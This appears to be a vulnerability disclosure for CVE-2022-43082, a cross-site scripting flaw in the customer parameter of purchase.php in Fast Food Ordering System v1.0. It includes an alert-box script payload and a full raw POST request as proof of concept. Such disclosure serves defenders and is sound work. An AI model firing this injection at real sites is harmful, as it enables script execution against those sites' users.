CVE-2022-43082: CVE_Hunter/XSS-4.md at main · Tr0e/CVE_Hunter

Vulnerability Description

Fast Food Ordering System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the purchase.php. It is an open source project from campcodes.com. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the customer parameter.

1. Vulnerability Submitter: Tr0e

2. vendors: Fast Food Ordering System v1.0;

3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;

4. Vulnerability location: /fastfood/purchase.php

Vulnerability Verification

[+] Payload:

<script>alert(“XSS”)</script>

POC：

POST /fastfood/purchase.php HTTP/1.1 Host: 192.168.0.111:91 Content-Length: 259 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.0.111:91 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.111:91/fastfood/order.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=rbcvgagjbbad1bbrbb62nukgmc Connection: close

quantity_0=&quantity_1=&quantity_2=&quantity_3=&quantity_4=&quantity_5=&quantity_6=&quantity_7=&quantity_8=&quantity_9=&quantity_10=&quantity_11=&productid%5B%5D=23%7C%7C12&quantity_12=10&customer=<script>alert(“XSS”)</script>

How to verify

Build the vulnerability environment according to the steps provided by the source code author and execute the Payload provided above.

The vulnerability is located at the “Order - Save” function, you shuold inserts Payload when you save order，as shown in the following figure：